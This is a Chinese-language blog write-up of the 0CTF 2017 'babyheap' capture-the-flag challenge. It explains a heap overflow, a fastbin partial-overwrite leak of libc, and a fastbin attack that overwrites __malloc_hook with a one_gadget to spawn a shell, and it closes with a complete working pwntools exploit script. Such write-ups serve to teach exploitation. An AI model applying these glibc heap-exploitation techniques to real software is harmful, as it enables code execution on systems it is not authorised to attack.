0ctf2017-babyheap

Author Avatar
hac425 12月 18, 2017
  • 在其它设备中阅读本文章

前言

又是一道令人怀疑人生的 baby 题。

这道题利用思路非常巧妙,通过 堆溢出fastbin 的机制构造了 information leak, 然后通过 fastbin attack 可以读写 malloc_hook , 然后使用 one_gadgetgetshell.

题目和 idb 文件:https://gitee.com/hac425/blog_data/tree/master/babyheap

正文

程序涉及的结构体 info 的结构如下,可以通过 allocate 功能逆出来
paste image

程序首先 mmap 了一个 随机的地址,用于存放 info table(就是存储info的数组).
paste image

程序的漏洞在于,在 allocate 时程序根据我们的输入 分配 size (size < 0x1000)大小的块。

paste image

然而 在 fill 我们可以写入任意大小的数据

paste image

经典的堆溢出。

问题在于,程序保护全开,而且 info table 的地址还是随机的,而且分配内存时,用的时 calloc 会把内存初始化为0。 所以常用的 大chunk包含小chunk 的信息泄露方式没法使用。

这里通过将 堆溢出 转换为 uaf 来进行信息泄露。

首先分配 多个 chunk

paste image

然后释放 偏移为 1,3的块,它们会进入 fastbin,然后通过部分溢出chunk 2 使得下面那个 fastbinfd 指向下面那个大的块,然后溢出 chunk 4 修改其大小为 0x21bypassfastbin 分配的 check

paste image

然后分配两次我们就能再次拿到这个 大的 chunk, 代码如下

paste image
因为此时我们还没有得到任何 地址,不过各个 chunk 的相对偏移应该是固定的,只要内存的分配顺序,大小没有变化,所以我们可以通过修改 fd 的低字节(小端字节序)就能 使 fd 指向我们的 大chunk

此时我们在把 大chunksize 修复,然后 用 free 刚刚分配的 info,它就会进入 unsorted bin ,此时在 chunk+0x10 处就有了 main_arean 的地址 (unsorted bin的 指针),然后用另外一个 info 打印内容即可 leak.

paste image

费劲千辛万苦我们终于拿到了 libc 的地址,对于这种全开的一般想到的就是修改 __malloc_hook 或者 __free_hook, 问题来了,怎么修改。

又是一种新的思路。我们可以在 __malloc_hook 附近找到合适的位置,进行 fastbin attack.

1
x/4gx (long long)(&main_arena)-0x40+0xd

paste image
如果以这里为一个 chunk ,这个 chunk 应该被放到 0x70 大小的 fastbin 里面。所以接下来的利用思路就是,构造一个 0x70 大小的 fastbin , 然后溢出修改 fd 到这个 chunk ,分配两次我们就能读写 __malloc_hook了,修改它为 one_gadget即可。

paste image
还有一个小 tips ,之前 uaf 的时候还有一块 0x110chunkunsorted bin, 所以我们需要先把这块内存给分配掉,然后在 进行布局。

最后

one_gadget 一个一个试,与寄存器和内存数据的状态有关。利用 main_arean 的数据进行 fastbin attack 这个 思路强悍。

参考

http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
from pwn import *
from time import sleep
# x/4gx (long long)(&main_arena)-0x40+0xd
def allocate(size):
p.recvuntil("Command:")
p.sendline("1")
p.recvuntil("Size:")
p.sendline(str(size))
sleep(0.1)
def fill(index, content):
p.recvuntil("Command:")
p.sendline("2")
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Size:")
p.sendline(str(len(content)))
p.recvuntil("Content:")
p.send(content)
sleep(0.1)
def free(index):
p.recvuntil("Command:")
p.sendline("3")
p.recvuntil("Index:")
p.sendline(str(index))
sleep(0.1)
def dump(index):
p.recvuntil("Command:")
p.sendline("4")
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Content: \n")
p = process("./0ctfbabyheap")
gdb.attach(p,'''
c
''')
pause()
allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x10) # 4
allocate(0x100) # 5
allocate(0x10) # 6
allocate(0x10) # 7
log.info("allocat some chunk, large in chunk 5")
pause()
free(1)
free(3)
log.info("free 1, 3")
#pause()
payload = "A" *0x10
payload += p64(0)
payload += p64(0x0000000000000021)
payload += "\xa0"
fill(2, payload)
log.info("modify chunk 3 's fastbin ptr, to 0xa0")
#pause()
payload = "A" *0x10
payload += p64(0)
payload += p64(0x0000000000000021)
fill(4, payload)
log.info("modify chunk 5 's size to 0x21 for bypass check")
#pause()
allocate(0x10) # 1
allocate(0x10) # 3, get large bin
log.info("now allocate 2 chunk to get the large bin")
#pause()
payload = "A" *0x10
payload += p64(0)
payload += p64(0x00000000000000111)
fill(4, payload)
log.info("resume large chunk size")
#pause()
free(3)
log.info("free the large bin, and our chunk 5 in unsorted bin")
#pause()
dump(5)
addr = u64(p.recv(8))
libc = addr - 0x3c4b78
one_gadget = libc + 0x4526a
log.info("libc: " + hex(libc))
log.info("one_gadget: " + hex(one_gadget))
#pause()
allocate(0x100) # 3
allocate(0x60) # 8
free(8)
payload = "A" *0x10
payload += p64(0)
payload += p64(0x0000000000000071)
payload += p64(libc + 0x3c4aed) # fake fastbin 0x70 size
fill(7, payload)
log.info("fake fastbin")
#pause()
allocate(0x60) # 8
allocate(0x60) # 9
log.info("now chunk 9 on " + hex(libc + 0x3c4aed))
payload = "A" * 19
payload += p64(one_gadget) # modify malloc hook
fill(9, payload)
allocate(0x10)
p.interactive()

本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2017/12/18/0ctf2017_babyheap.html